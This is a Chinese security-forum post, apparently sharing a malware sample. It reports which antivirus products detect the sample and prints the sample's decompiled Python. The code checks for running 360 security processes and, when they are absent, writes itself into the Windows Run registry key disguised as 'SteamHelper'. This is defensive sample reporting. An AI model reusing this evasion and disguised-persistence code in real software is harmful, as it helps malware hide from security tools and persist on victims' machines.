本帖最后由 dd2006 于 2026-1-29 14:43 编辑
瑞星 kill
华为 miss
红伞 miss
SEP miss
居然还检测数字软件:- def check_360_running():
- try:
- output = subprocess.check_output("tasklist", shell=True, text=True, timeout=10)
- process_list = output.lower()
- qihoo_processes = ['360tray.exe', '360sd.exe', 'zhudongfangyu.exe',
- '360safe.exe',
- 'safemon.exe', 'liveud.exe']
- for proc in qihoo_processes:
- if proc in process_list:
- return True
- return False
- except Exception as e:
- try:
- return False
- finally:
- e = None
- del e
- def add_to_startup():
- try:
- key_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
- key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_SET_VALUE)
- exe_path = sys.executable
- script_path = os.path.abspath(__file__)
- cmd = f'"{exe_path}" "{script_path}"'
- winreg.SetValueEx(key, "SteamHelper", 0, winreg.REG_SZ, cmd)
- winreg.CloseKey(key)
- print("[启动项] 已成功添加到注册表启动项")
- return True
- except Exception as e:
- try:
- return False
- finally:
- e = None
- del e
- def init_startup():
- try:
- if check_360_running():
- print("[启动项] 检测到360正在运行,跳过添加启动项")
- else:
- print("[启动项] 未检测到360,准备添加启动项")
- add_to_startup()
- except:
- pass
复制代码
|